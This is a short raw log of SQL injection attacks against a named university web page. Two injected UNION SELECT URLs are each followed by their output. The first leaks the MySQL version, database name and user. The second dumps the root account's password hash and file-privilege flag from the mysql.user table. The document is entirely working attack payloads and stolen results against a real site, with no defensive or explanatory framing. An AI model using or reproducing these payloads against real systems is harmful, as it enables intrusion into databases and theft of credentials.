http://math.ecnu.edu.cn/~hkliu/intro.html?id=-23%20union%20select%201,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4--

5.0.45:faculty:root@localhost

http://math.ecnu.edu.cn/~hkliu/intro.html?id=-23%20union%20select%201,file_priv,concat(user,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4%20from%20mysql.user--

root:07ffadcc61d6408b file_priv - Y